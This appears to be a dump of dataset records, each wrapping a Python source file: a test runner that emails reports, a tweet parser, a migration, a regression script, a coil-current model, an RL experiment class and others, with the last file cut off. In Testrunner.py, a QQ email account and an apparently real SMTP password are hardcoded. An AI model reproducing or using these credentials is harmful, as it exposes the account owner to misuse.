logger.info(' [.] {} --> xmin: {} xmax: {} ymin: {} ymax: {} score: {} object: {}.'.format(time_stamp, roi['xmin'], roi['xmax'], roi['ymin'], roi['ymax'], roi['score'], roi['object']))\r\n\r\n return roi_msg\r\n","sub_path":"resources/rq_client.py","file_name":"rq_client.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"443099880","text":"# Testrunner方法\nimport unittest\nimport time\nimport os.path\nimport HTMLTestRunner\nfrom email.header import Header\nfrom email.mime.text import MIMEText\nfrom email.utils import parseaddr, formataddr\nimport smtplib\n\n\n'''case = unittest.TestSuite()\ncase.addTest(Search('test_search1'))\ncase.addTest(Search('test_search2'))\ncase.addTest(MasterStation('test_log_in'))\ncase.addTest(MasterStation('test_home_page_assert'))\ncase.addTest(MasterStation('test_home_page_search'))\n'''\n\n\n# 查找最新的测试报告\ndef send_report():\n result_dir = os.path.dirname(os.path.abspath('.')) + '/testreport/'\n lists = os.listdir(result_dir)\n\n lists.sort(key=lambda fn: os.path.getmtime(result_dir + \"\\\\\" + fn))\n\n print('最新文件为:' + lists[-1])\n file = os.path.join(result_dir, lists[-1])\n print('绝对路径为:' + file)\n send_mail(file)\n\n\ndef send_mail(newfile):\n def _format_addr(s):\n name, addr = parseaddr(s)\n return formataddr((Header(name, 'utf-8').encode(), addr))\n\n with open(newfile, 'rb') as file:\n text = file.read()\n # print('-------------------------------------------%s' % text)\n from_addr = '3536046934@qq.com'\n password = 'ilxhssalsnvpchjg'\n to_addr = 'mawc@parasaga.com'\n smtp_server = 'smtp.qq.com'\n\n msg = MIMEText(text, 'html', 'utf-8')\n msg['From'] = _format_addr('tester <%s>' % from_addr)\n msg['To'] = _format_addr('管理员 <%s>' % to_addr)\n msg['Subject'] = Header('自动化测试报告', 'utf-8').encode()\n\n server = smtplib.SMTP(smtp_server, 25)\n server.set_debuglevel(1)\n server.starttls()\n server.login(from_addr, password)\n server.sendmail(from_addr, [to_addr], msg.as_string())\n server.quit()\n\n\nif __name__ == '__main__':\n #  设置报告文件保存路径  \n report_path = os.path.dirname(os.path.abspath('.')) + '/testreport/'\n #  获取系统当前时间  \n now = time.strftime(\"%Y-%m-%d-%H_%M_%S\", time.localtime(time.time()))\n #  设置报告名称格式  \n HtmlFile = report_path + now + \"HTMLtemplate.html\"\n fp = open(HtmlFile, \"wb\")\n\n # discover方法\n suite = unittest.TestLoader().discover('../testcase', pattern='test*.py')\n # 执行用例  \n runner = HTMLTestRunner.HTMLTestRunner(\n stream=fp, title=u\"RC2.3.3测试报告\", description=u\"用例测试情况\")\n runner.run(suite)\n fp.close()\n send_report()\n","sub_path":"other/Testrunner.py","file_name":"Testrunner.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"202759424","text":"# -*- coding: utf-8 -*-\nimport csv\nimport codecs\n\n\ndef parse_csv(f, target_text, enc='utf8'):\n fieldnames = [\n 'tweet_id',\n 'in_reply_to_status_id',\n 'in_reply_to_user_id',\n 'timestamp',\n 'source',\n 'text',\n 'retweeted_status_id',\n 'retweeted_status_user_id',\n 'retweeted_status_timestamp',\n 'expanded_urls',\n ]\n\n for row in csv.DictReader(codecs.iterdecode(f, 'utf-8'), fieldnames=fieldnames):\n if row['retweeted_status_id']:\n continue\n if u\"#艦これ版深夜の真剣お絵描き60分一本勝負\" in row['text']:\n yield row\n","sub_path":"onedraw/tweets/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"426726039","text":"\"\"\"a service provision can be performed more than once\n\nRevision ID: 38de2c29ac0e\nRevises: a5e40f62a0a9\nCreate Date: 2020-03-02 16:23:14.682859\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '38de2c29ac0e'\ndown_revision = 'a5e40f62a0a9'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('service_provision', sa.Column('amount', sa.Integer(), nullable=True, default=1))\n op.execute(\"UPDATE service_provision SET amount = 1\")\n op.alter_column('service_provision', 'amount', nullable=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('service_provision', 'amount')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/38de2c29ac0e_a_service_provision_can_be_performed_.py","file_name":"38de2c29ac0e_a_service_provision_can_be_performed_.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"542620823","text":"import util #For Calculate Differentiation\nimport random #For Parameter Initialization\nfrom openpyxl import load_workbook #For Loading .xlsx file\n\nEPOCHS = 100 #Linear Regression Epochs\nLEARNING_RATE = 1e-3 #Linear Regression Learning Rate\n\nUtil = util.Util(LEARNING_RATE) #Initialize Util\nrandom.seed(8)\nX, Y = [], [] #Create X and Y Data\n\nfilepath = 'data.xlsx' #Data's Location\nxl = load_workbook(filepath) #Load .xlsx file\nsheet = xl.active #Load Lastly Sheet\nmax_row = sheet.max_row #Get Data's Row\nfor i in range(1, max_row + 1): #Append Data in Each Array\n X.append(sheet.cell(row=i, column=1).value)\n Y.append(sheet.cell(row=i, column=2).value)\n\nUtil.input_data(X, Y) #Input Data to Util Class\n\nw = random.random() #Create Weight\nb = random.random() #Crate Bias\n\nfor i in range(EPOCHS):\n cost = 0 #Calculate Cost\n for j in range(max_row):\n hy = w * X[j] + b #Linear Equation\n cost = cost + (Y[j] - hy) ** 2 #Cost Formula\n cost = cost / max_row\n\n w = w + Util.Differentiation(w, b, max_row) * LEARNING_RATE #Calculate Differentiation in Util Class and multiply with LEARNING_RATE, Cause the Differentiation has big value.\n b = b + Util.Differentiation(w, b, max_row) * LEARNING_RATE #Calculate Differentiation in Util Class and multiply with LEARNING_RATE, Cause the Differentiation has big value.\n\n if i % 10 == 0:\n print('EPOCH %d - loss %f' % (i, cost))\n\nprint('w is %f' % w)\nprint('b is %f' % b)\n\nx = input(\"Enter the number what you want! \")\nprint(\"Result is %f\" % (w * int(x) + b))","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"150846386","text":"# import matplotlib.pyplot as plt\nimport numpy as np\nfrom constants_1U import RESISTANCE, INDUCTANCE, PWM_AMPLITUDE, PWM_FREQUENCY, CONTROL_STEP\nimport math\n# import time\n\n\ndef getEdgeCurrent(v_duty_cycle, I0): # to return an array with current at the edges, input: duty cycle, initial current\n t_p = 1/PWM_FREQUENCY # time period\n num_cycles = int(CONTROL_STEP/t_p) # number of cycles=n\n dt_p = np.array(v_duty_cycle * t_p) # time for which the voltage is high per cycle\n dt_n = np.array(t_p-dt_p) # time for which current is low\n edgeCurrentList = np.zeros((num_cycles*2+1, 3)) # edgeCurrentList has 2n+1 rows, 3 columns for the currents\n edgeCurrentList[0, :] = I0 # setting initial value of current\n edgeCurrentList[1, :] = 1/RESISTANCE * (PWM_AMPLITUDE-(PWM_AMPLITUDE-I0*RESISTANCE)*np.exp(-RESISTANCE*dt_p/INDUCTANCE)) # Setting value of current at first edge\n for i in range(1, num_cycles):\n edgeCurrentList[2 * i, :] = edgeCurrentList[2*i-1, :]*np.exp(-RESISTANCE*dt_n/INDUCTANCE)\n edgeCurrentList[(2 * i) + 1, :] = (PWM_AMPLITUDE - (PWM_AMPLITUDE - RESISTANCE*edgeCurrentList[2 * i, :])*np.exp(-RESISTANCE*dt_p/INDUCTANCE))/RESISTANCE\n edgeCurrentList[2 * num_cycles, :] = edgeCurrentList[2 * num_cycles - 1, :] * np.exp(-RESISTANCE * dt_n / INDUCTANCE) # Setting the current for the last edge\n return edgeCurrentList\n\n\ndef getAnalyticalCurrent(v_duty_cycle, edgeCurrentList, t): #gives current at a time instant t. input: duty cycle, list of currents at edges\n t_p = 1 / PWM_FREQUENCY # time period\n dt_p = v_duty_cycle * t_p # time for which the voltage is high per cycle\n t_mod_tp = t % t_p # time elapsed since last rising edge\n cur_cycle = int(t / t_p) # gives us the index of the cycle we're in\n current_t = np.zeros(3)\n for i in range(0, 3): # t in the comments indicates the time since last edge\n if cur_cycle >= int(CONTROL_STEP/t_p): # if t comes after the last edge, return the current at the last edge\n current_t = edgeCurrentList[cur_cycle * 2, :]\n elif t_mod_tp < dt_p[i]: # if the instant lies before th falling edge\n current_t[i] = (PWM_AMPLITUDE - (PWM_AMPLITUDE - RESISTANCE * edgeCurrentList[cur_cycle*2, i])*math.exp(-RESISTANCE*t_mod_tp/INDUCTANCE)) / RESISTANCE # I=1/R(V-(V-I0R)exp(-Rt/L))\n else:\n current_t[i] = edgeCurrentList[2*cur_cycle+1, i]*math.exp(-RESISTANCE*(t_mod_tp-dt_p[i])/INDUCTANCE) # I = I0exp(-Rt/L)\n return current_t\n\n\ndef getCurrentList(v_duty_cycle, t, n, edgeCurrentList): # gives current values at time instants in a given array input: duty cycle, array of time instants, number of time instants, initial current\n currentList = np.zeros((n, 3))\n for i in range(0, n):\n currentList[i, :] = getAnalyticalCurrent(v_duty_cycle, edgeCurrentList, t[i]) # current[ti]\n return currentList\n\n'''\n# this was used to compare the time taken for execution, however, it remains to be seen whether the execution in the\n# actual program takes a proportional amount of time\nduty_cycle = np.array([0.001, 0.000001, 0.000001])\nn = 40000\nt_array = np.linspace(0, 0.02, n, endpoint=False)\nI0 = np.array([0, 0, 0])\n# currentList = getCurrentList(duty_cycle, t_array, n, I0)\n# plt.plot(t_array[:], currentList[:, 2])\n# plt.show()\nactstart = time.time()\ncurrent = getCurrentList(duty_cycle, t_array, n, I0)\nactend = time.time()\nprint(actend - actstart)\nprint(CONTROL_STEP%(1/PWM_FREQUENCY), PWM_FREQUENCY, CONTROL_STEP, 1/PWM_FREQUENCY)\n'''","sub_path":"analytical_act_current.py","file_name":"analytical_act_current.py","file_ext":"py","file_size_in_byte":3542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"308588441","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function\n\nfrom polyaxon_lib.estimators.agents import Agent\nfrom polyaxon_lib.experiments import Experiment\n\n\nclass RLExperiment(Experiment):\n \"\"\"Experiment is a class containing all information needed to train an agent.\n\n After an experiment is created (by passing an Agent for training and evaluation),\n an Experiment instance knows how to invoke training and eval loops in\n a sensible fashion for distributed training.\n\n\n None of the functions passed to this constructor are executed at construction time.\n They are stored and used when a method is executed which requires it.\n\n Args:\n agent: Object implementing an Agent.\n train_steps: Perform this many steps of training. default: None, means train forever.\n train_episodes: Perform this many episodes of training. default: None, means train forever.\n first_update: First timestep to calculate `loss` and `train_op`. This is related to the\n `global_timestep` variable, number of timesteps in episodes.\n update_frequency: The frequency at which we should calculate `loss` and `train_op`.\n This frequency is related to the `gloabl_step` which is incremented every time\n we update the network.\n eval_steps: `evaluate` runs until input is exhausted (or another exception is raised),\n or for `eval_steps` steps, if specified.\n train_hooks: A list of monitors to pass to the `Agent`'s `fit` function.\n eval_hooks: A list of `SessionRunHook` hooks to pass to\n the `Agent`'s `evaluate` function.\n eval_delay_secs: Start evaluating after waiting for this many seconds.\n continuous_eval_throttle_secs: Do not re-evaluate unless the last evaluation\n was started at least this many seconds ago for continuous_eval().\n delay_workers_by_global_step: if `True` delays training workers based on global step\n instead of time.\n export_strategies: A list of `ExportStrategy`s, or a single one, or None.\n train_steps_per_iteration: (applies only to continuous_train_and_eval).\n Perform this many (integer) number of train steps for each training-evaluation\n iteration. With a small value, the model will be evaluated more frequently\n with more checkpoints saved. If `None`, will use a default value\n (which is smaller than `train_steps` if provided).\n\n Raises:\n ValueError: if `estimator` does not implement Estimator interface,\n or if export_strategies has the wrong type.\n \"\"\"\n\n def __init__(self,\n agent,\n env,\n train_steps=None,\n train_episodes=None,\n first_update=5000,\n update_frequency=15,\n eval_steps=10,\n train_hooks=None,\n eval_hooks=None,\n eval_delay_secs=0,\n continuous_eval_throttle_secs=60,\n delay_workers_by_global_step=False,\n export_strategies=None,\n train_steps_per_iteration=100):\n if not isinstance(agent, Agent):\n raise ValueError(\"`estimator` must implement `Estimator`.\")\n\n super(RLExperiment, self).__init__(\n estimator=agent,\n train_input_fn=None,\n eval_input_fn=None,\n train_steps=train_steps,\n eval_steps=eval_steps,\n train_hooks=train_hooks,\n eval_hooks=eval_hooks,\n eval_delay_secs=eval_delay_secs,\n continuous_eval_throttle_secs=continuous_eval_throttle_secs,\n delay_workers_by_global_step=delay_workers_by_global_step,\n export_strategies=export_strategies,\n train_steps_per_iteration=train_steps_per_iteration\n )\n self._agent = agent\n self._env = env\n self._train_episodes = train_episodes\n self._first_update = first_update\n self._update_frequency = update_frequency\n\n @property\n def agent(self):\n return self._agent\n\n def _call_train(self, # pylint: disable=arguments-differ\n steps=None, first_update=None, update_frequency=None, episodes=None,\n hooks=None, max_steps=None, max_episodes=None):\n return self._agent.train(env=self._env, first_update=first_update,\n update_frequency=update_frequency, episodes=episodes, steps=steps,\n max_steps=max_steps, max_episodes=max_episodes, hooks=hooks)\n\n def train(self, delay_secs=None):\n \"\"\"Fit the agent.\n\n Train the agent for `self._train_steps` steps, after waiting for `delay_secs` seconds.\n If `self._train_steps` is `None`, train forever.\n\n Args:\n delay_secs: Start training after this many seconds.\n\n Returns:\n The trained estimator.\n \"\"\"\n delay_secs, extra_hooks = self._prepare_train(delay_secs)\n\n return self._call_train(\n first_update=self._first_update, update_frequency=self._update_frequency,\n max_steps=self._train_steps, max_episodes=self._train_episodes,\n hooks=self._train_hooks + extra_hooks)\n","sub_path":"polyaxon_lib/experiments/rl_experiment.py","file_name":"rl_experiment.py","file_ext":"py","file_size_in_byte":5333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"482506131","text":"#!/usr/bin/python\n\nimport sqlite3\n\nconn = sqlite3.connect(r\"D:\\\\Github\\\\hvAuction\\\\python\\\\data\\\\auction.db\")\nc = conn.cursor()\nprint(\"Opened database successfully\")\n\ncursor = c.execute(\"SELECT ID,SELLER,NAME,LINK,FEATURES,PRICE,WINNER,TIME,LOG from ISK005\")\n\nfor row in cursor:\n print(row)\n\nprint(\"Operation done successfully\")\nconn.close()\n","sub_path":"python/package/show_table.py","file_name":"show_table.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"98722696","text":"\n\n\"\"\"\n\nfollowing the midpoints of shifted bubbles\n\nstill takes 230 iterations and around 6s \n\ncompared to regular OCP (v5) with two path parameters: 143 iterations and 4.5 s \n\nso basically its the same or a bit worse \n\n\"\"\"\n\nimport numpy as np\nfrom numpy import pi, cos, sin\nimport matplotlib.pyplot as plt\nfrom scipy import interpolate\n\nfrom casadi import Function, linspace, vertcat, horzcat, DM, interpolant, sum1, MX, hcat, sumsqr\nfrom rockit import *\nfrom rockit import Ocp , FreeTime, MultipleShooting\n\nfrom Bubble_tunnel_generation_v2 import generate_bubbles_v2, plotting_v2, create_tunnel, generate_bubbles_v3\nfrom Grid_generation import create_obstacles, create_global_path\n\n\n#----------------------------------------------------------------------------#\n# Generate Grid and Obstacles #\n#----------------------------------------------------------------------------#\n\nend_goal_x = 9 # position of initial and end point\nend_goal_y = 9\ninitial_pos_x = 0\ninitial_pos_y = 0\nxlim_min = -1\nxlim_max = 13\nylim_min = -1\nylim_max = 11\n\n\nobstacles_option = 1 \npath_option = 1 #options are 1 or 2\n\noccupied_positions_x, occupied_positions_y = create_obstacles(obstacles_option)\nBspline_obj, global_path = create_global_path(path_option)\n\n#----------------------------------------------------------------------------#\n# Creating the Bubbles #\n#----------------------------------------------------------------------------#\n\n\n#using new function \n\nshifted_midpoints_x, shifted_midpoints_y, shifted_radii = generate_bubbles_v2(global_path[0],global_path[1],occupied_positions_x,occupied_positions_y)\n\n# points_x, points_y,cx, cy, shifted_radii = generate_bubbles_v3(global_path[0],global_path[1],occupied_positions_x,occupied_positions_y)\n\n\n# plotting_v2(initial_pos_x, end_goal_x, global_path, occupied_positions_x, occupied_positions_y,\\\n # xlim_min, xlim_max, ylim_min, ylim_max,\\\n # shifted_midpoints_x, shifted_midpoints_y, shifted_radii)\n\n \n\n#-------------------------------------------------------------------------------#\n# Define the optimal control problem #\n#-------------------------------------------------------------------------------#\n\n\nN = 30 # number of control intervals #20 works for path option 1\ndt = 3 # horizon\n\nocp = Ocp(T = N*dt) \n\n\n\n# System model\nx = ocp.state()\ny = ocp.state()\ntheta = ocp.state()\nv = ocp.control()\nw = ocp.control()\n\n#path parameters s1 and s2\ns1 = ocp.state()\nsdot1 = ocp.control()\n\n#ODEs\nocp.set_der(x , v*cos(theta))\nocp.set_der(y , v*sin(theta))\nocp.set_der(theta , w)\nocp.set_der(s1 , sdot1)\n\n\n\n\n# Constraints at t0\nocp.subject_to(ocp.at_t0(x) == initial_pos_x)\nocp.subject_to(ocp.at_t0(y) == initial_pos_y)\nocp.subject_to(ocp.at_t0(theta) == 0.0)\nocp.subject_to(ocp.at_t0(s1) == 0.0) \n\n\n#--------------------- Constraints at tf ----------------------\n\n\npf = vertcat(end_goal_x,end_goal_y) # end point\n\n\n\n#constraints on controls \nocp.subject_to( 0 <= ( v <= 1 ))\nocp.subject_to( -pi <= ( w <= pi ))\nocp.subject_to( sdot1 >= 0) \n\n\n\n#------------ Obscatles avoidance tunnel ---------------------------\n\nbubbles_radii = shifted_radii\nbubbles_x = shifted_midpoints_x\nbubbles_y = shifted_midpoints_y\n\ntlength1 = len(bubbles_x)\ntunnel_s1 = np.linspace(0,1,tlength1) \n\n\nocp.subject_to(ocp.at_tf(s1) == 1) \n\n\nobs_spline_x = interpolant('obs_spline_x','bspline',[tunnel_s1],bubbles_x , {\"algorithm\": \"smooth_linear\",\"smooth_linear_frac\":0.49})\nobs_spline_y = interpolant('obs_spline_y','bspline',[tunnel_s1],bubbles_y , {\"algorithm\": \"smooth_linear\",\"smooth_linear_frac\":0.49})\nobs_spline_r = interpolant('obs_spline_r','bspline',[tunnel_s1],bubbles_radii , {\"algorithm\": \"smooth_linear\",\"smooth_linear_frac\":0.49})\n\n\n\n# ------------------------ Initial guess ------------------------\n\n\n \nBspline_obj, u = interpolate.splprep([shifted_midpoints_x,shifted_midpoints_y], u = None, s = 0)\nu = np.linspace(0,1,N )\npath_guess = interpolate.splev(u, Bspline_obj)\n\npath_guess_x = np.array(path_guess[0])\npath_guess_y = np.array(path_guess[1])\n\n\nocp.set_initial(x, path_guess_x) \nocp.set_initial(y, path_guess_y) \n\n\n\n#path parameters\ns1_guess = np.linspace(tunnel_s1[0],tunnel_s1[-3], N)\nsdot1_guess = (tunnel_s1[-1]-tunnel_s1[0])/tlength1 \n\nocp.set_initial(s1, s1_guess) \nocp.set_initial(sdot1, sdot1_guess)\n\n\n#constraints on control inputs have a slight positive effect on solution time\n\nv_guess = 0.5*np.ones(N)\nocp.set_initial(v , v_guess)\n\nw_guess = np.zeros(N)\nocp.set_initial(w , w_guess)\n\n\n#---------------- constraints -------------------\n\n\nocp.subject_to( ( ( x - obs_spline_x(s1) )**2 + ( y-obs_spline_y(s1) )**2 < (obs_spline_r(s1)**2 )) )\n\n# ------------- Objective function ----------------------------------------\n\n#path following\nocp.add_objective(1*ocp.integral((x - obs_spline_x(s1))**2 + (y-obs_spline_y(s1))**2)) \n\n# ocp.add_objective(-ocp.at_tf(s1))\n\n\n# ------------- Solution method------------------------------------------\n\noptions = {\"ipopt\": {\"print_level\": 5}}\noptions[\"expand\"] = False\noptions[\"print_time\"] = True\nocp.solver('ipopt', options)\n\n\n# Multiple shooting\nocp.method(MultipleShooting(N=N,M=2,intg='rk'))\n\n#-------------------------------------------------------------------------------#\n# OCP Solution and Results #\n#-------------------------------------------------------------------------------#\n\ntry:\n sol = ocp.solve()\nexcept:\n ocp.show_infeasibilities(1e-6)\n sol = ocp.non_converged_solution\n\n\n\n\n#---------------------- extract solution\n\ntsol, xsol = sol.sample(x, grid='control')\ntsol, ysol = sol.sample(y, grid='control')\ntsol, s1 = sol.sample(s1, grid='control')\ntsol, xsol_refined = sol.sample(x, grid='integrator',refine=100)\ntsol, ysol_refined = sol.sample(y, grid='integrator',refine=100)\n\n\n\n#------------------------ Plotting with path/bubbles depending on path parameter solution\n\n# xspline_path = np.array(path_spline_x(s1))\n# yspline_path = np.array(path_spline_y(s1))\nplt.figure(dpi=300)\nplt.xlabel('x [m]')\nplt.ylabel('y [m]')\nplt.xlim([xlim_min,xlim_max])\nplt.ylim([ylim_min,ylim_max])\nts = np.linspace(0,2*np.pi,50)\nxspline_obs = np.array(obs_spline_x(s1))\nyspline_obs = np.array(obs_spline_y(s1))\nrspline_obs = np.array(obs_spline_r(s1))\nfor i in range(s1.shape[0]): plt.plot(xspline_obs[i]+rspline_obs[i]*cos(ts),yspline_obs[i]+rspline_obs[i]*sin(ts),'r-',markersize = 0.5)\n# plt.plot(xspline_path, yspline_path, 'g--')\nplt.plot(xsol, ysol,'bo')\nplt.plot(xsol_refined, ysol_refined, '--')\nplt.plot(occupied_positions_x,occupied_positions_y,'bo',markersize = 1.5)\nplt.title('OCP solution')\nplt.xlim([xlim_min,xlim_max])\nplt.ylim([ylim_min,ylim_max])\nplt.show(block=True)\n\n\n\n\n#------------------ Plotting with respect to initial path/bubbles\n\n\ntunnel_x, tunnel_y = create_tunnel(shifted_midpoints_x,shifted_midpoints_y,shifted_radii)\n \n\n\nplt.figure(dpi=300)\nplt.xlabel('x [m]')\nplt.ylabel('y [m]')\nplt.xlim([xlim_min,xlim_max])\nplt.ylim([ylim_min,ylim_max])\nplt.plot(global_path[0], global_path[1], 'c--')\nplt.plot(occupied_positions_x,occupied_positions_y,'ko',markersize = 1)\nplt.plot(tunnel_x, tunnel_y, 'r.', markersize= 1)\nplt.plot(xsol, ysol,'bo', markersize = 5)\nplt.plot(xsol, ysol,'b-', markersize = 3)\nplt.legend(['original path','Obstacles', 'Feasible tunnel', 'Solution points', 'Solution trajectory'])\nplt.title('OCP Solutin with given path and tunnel')\nplt.xlabel('x [m]')\nplt.ylabel('y [m]')\n# plt.savefig('OCP Solution', dpi=300)\n\n\nplt.figure(dpi=300)\nplt.xlabel('x [m]')\nplt.ylabel('y [m]')\nplt.xlim([xlim_min,xlim_max])\nplt.ylim([ylim_min,ylim_max])\nplt.plot(global_path[0], global_path[1], 'g--')\nplt.plot(occupied_positions_x,occupied_positions_y,'ko',markersize = 1)\nplt.plot(tunnel_x, tunnel_y, 'r.', markersize= 1)\nplt.plot(0,0,'bx', markersize = 10)\nplt.plot(9,9,'rx', markersize = 10)\nplt.legend(['original path','Obstacles', 'Feasible tunnel', 'Starting point', 'End point'])\nplt.title('Global Path and feasible tunnel')\nplt.xlabel('x [m]')\nplt.ylabel('y [m]')\n# plt.savefig('OCP problem', dpi=300)\n\n\nplt.figure(dpi=300)\nplt.xlabel('x [m]')\nplt.ylabel('y [m]')\nplt.xlim([1,3])\nplt.ylim([8,11])\nplt.plot(global_path[0], global_path[1], 'g--')\nplt.plot(occupied_positions_x,occupied_positions_y,'bo',markersize = 2)\nplt.plot(tunnel_x, tunnel_y, 'r.', markersize= 3)\nplt.plot(xsol, ysol,'bo', markersize = 5)\nplt.plot(xsol, ysol,'b-', markersize = 3)\nplt.legend(['original path','Obstacles', 'Feasible tunnel', 'Solution points', 'Solution trajectory'])\nplt.title('OCP Solutin with given path and tunnel')\nplt.xlabel('x [m]')\nplt.ylabel('y [m]')\nplt.savefig('OCP Solution 1', dpi=300)\n\n\nplt.figure(dpi = 300)\nplt.xlabel('x [m]')\nplt.ylabel('y [m]')\nplt.xlim([2.9,6])\nplt.ylim([-0.1,3])\nplt.plot(global_path[0], global_path[1], 'g--')\nplt.plot(occupied_positions_x,occupied_positions_y,'bx',markersize = 3)\nplt.plot(tunnel_x, tunnel_y, 'r.', markersize= 3)\nplt.plot(xsol, ysol,'bo', markersize = 5)\nplt.plot(xsol, ysol,'b-', markersize = 3)\nplt.legend(['original path','Obstacles', 'Feasible tunnel', 'Solution points', 'Solution trajectory'], loc = (0.6,0.6))\nplt.title('OCP Solutin with given path and tunnel')\nplt.xlabel('x [m]')\nplt.ylabel('y [m]')\n\n","sub_path":"March27/dev_waypoints/other/OCP_one_path_param.py","file_name":"OCP_one_path_param.py","file_ext":"py","file_size_in_byte":9708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"456049990","text":"#! /usr/bin/env python\n##########################################################################\n# CASPER - Copyright (C) AGrigis, 2013\n# Distributed under the terms of the CeCILL-B license, as published by\n# the CEA-CNRS-INRIA. Refer to the LICENSE file or to\n# http://www.cecill.info/licences/Licence_CeCILL-B_V1-en.html\n# for details.\n##########################################################################\n\n# Casper import\nfrom .base import Base\n\n\nclass List(Base):\n \"\"\" Define a list parameter.\n \"\"\"\n def __init__(self, value=None, *args, **kwargs):\n \"\"\" Initialize the 'List' class.\n\n Expect a 'content' string argument that describe the list content.\n\n Parameters\n ----------\n content: str (mandatory)\n description of the list content. If iterative object are contained\n use the '_' character as a separator: 'Int' or 'List_Int'.\n value: object (optional, default None)\n the parameter value.\n \"\"\"\n # Avoid cycling import\n from casper.lib.controls import controls\n\n # Check if a 'content' argument has been defined\n if \"content\" not in kwargs:\n raise ValueError(\"A 'content' argument describing the 'List' \"\n \"content is expected.\")\n\n # Create an inner control\n inner_desc = kwargs[\"content\"].split(\"_\")\n control_type = inner_desc[0]\n inner_kwargs = {\"inner\": True}\n if len(inner_desc) > 1:\n inner_kwargs[\"content\"] = \"_\".join(inner_desc[1:])\n if control_type not in controls:\n raise ValueError(\"List creation: '{0}' is not a valid inner \"\n \"control type. Allowed types are {1}.\".format(\n kwargs[\"content\"], controls.keys()))\n self.inner_control = controls[control_type](**inner_kwargs)\n\n # Create the list control\n Base.__init__(self, value, *args, **kwargs)\n self.iterable = True\n\n def _is_valid(self, value):\n \"\"\" A method used to check the value type.\n\n Parameters\n ----------\n value: object (mandatory)\n the value we want to check the type.\n\n Returns\n -------\n is_valid: bool\n return True if the value as the expected type,\n False otherwise.\n \"\"\"\n if value is None:\n return True\n elif isinstance(value, list):\n for item in value:\n if not self.inner_control._is_valid(item):\n return False\n return True\n else:\n return False\n","sub_path":"casper/lib/controls/list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":2639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"23971134","text":"\"\"\"\n__Skype__ = \"just...elvis\"\n__author__ = \"Elvis\"\n__version__ = \"1.5\"\n\"\"\"\n\nimport xml.etree.ElementTree as ETree\nimport os as os\nimport uuid as uuid\nimport configparser as cfg\n\nconfig = cfg.ConfigParser()\nconfig.read('Config.ini', encoding='utf_8')\nWSDLDir = config['DEFAULT']['WSDLDir'] + '\\\\'\nNameFile = config['DEFAULT']['NameFile']\nhostEndpoint = config['DEFAULT']['HostEndpoint'].split(',')\nns = {'wsdl': 'http://schemas.xmlsoap.org/wsdl/', 'soap': 'http://schemas.xmlsoap.org/wsdl/soap/', 'xs': 'http://www.w3.org/2001/XMLSchema'}\n\ndef getguid():\n\treturn str(uuid.uuid4())\n\nSUIProject = ETree.Element('con:soapui-project')\nSUIProject.set('id', getguid())\nSUIProject.set('activeEnvironment', 'Default')\nSUIProject.set('soapui-version', '5.2.0')\nSUIProject.set('abortOnError', 'false')\nSUIProject.set('runType', 'SEQUENTIAL')\nSUIProject.set('xmlns:con', 'http://eviware.com/soapui/config')\nsettings = ETree.SubElement(SUIProject, 'con:settings')\nfor top, dirs, files in os.walk(WSDLDir):\n\tfor file in files:\n\t\tif file.endswith('.wsdl'):\n\t\t\tinterface = ETree.SubElement(SUIProject, 'con:interface')\n\t\t\tinterface.set('xsi:type', 'con:WsdlInterface')\n\t\t\tinterface.set('id', getguid())\n\t\t\tinterface.set('wsaVersion', 'NONE')\n\t\t\tinterface.set('type', 'wsdl')\n\t\t\tinterface.set('soapVersion', '1_1')\n\t\t\tinterface.set('anonymous', 'optional')\n\t\t\tinterface.set('xmlns:xsi','http://www.w3.org/2001/XMLSchema-instance')\n\t\t\ttree = ETree.parse(top + '\\\\' + file)\n\t\t\troot = tree.getroot()\n\t\t\tfor findVersion in root.findall(\"./wsdl:types/xs:schema\", ns):\n\t\t\t\tversionTemp = findVersion.get('version')\n\t\t\tfor findBind in root.findall(\"./wsdl:binding\", ns):\n\t\t\t\tbindTemp = findBind.get('name')\n\t\t\t\tif 'common' in file:\n\t\t\t\t\tbind = bindTemp + 'Common'\n\t\t\t\telse:\n\t\t\t\t\tbind = bindTemp\n\t\t\t\tinterface.set('name', bind + '(' + str(versionTemp) + ')')\n\t\t\tfor findBindName in root.findall(\".\", ns):\n\t\t\t\ttns = findBindName.get('targetNamespace')\n\t\t\t\tbindName = '{' + tns + '}' + bindTemp\n\t\t\t\tinterface.set('bindingName', bindName)\n\t\t\tdefinition = 'file:/' + top.replace('\\\\','/') + '/' + file\n\t\t\tinterface.set('definition', definition)\n\t\t\tinterfaceSettings = ETree.SubElement(interface, 'con:settings')\n\t\t\tdefinitionCache = ETree.SubElement(interface, 'con:definitionCache')\n\t\t\tendpoints = ETree.SubElement(interface, 'con:endpoints')\n\t\t\tx = str(tns).split('/')\n\t\t\tfor host in hostEndpoint:\n\t\t\t\tendpoint = ETree.SubElement(endpoints, 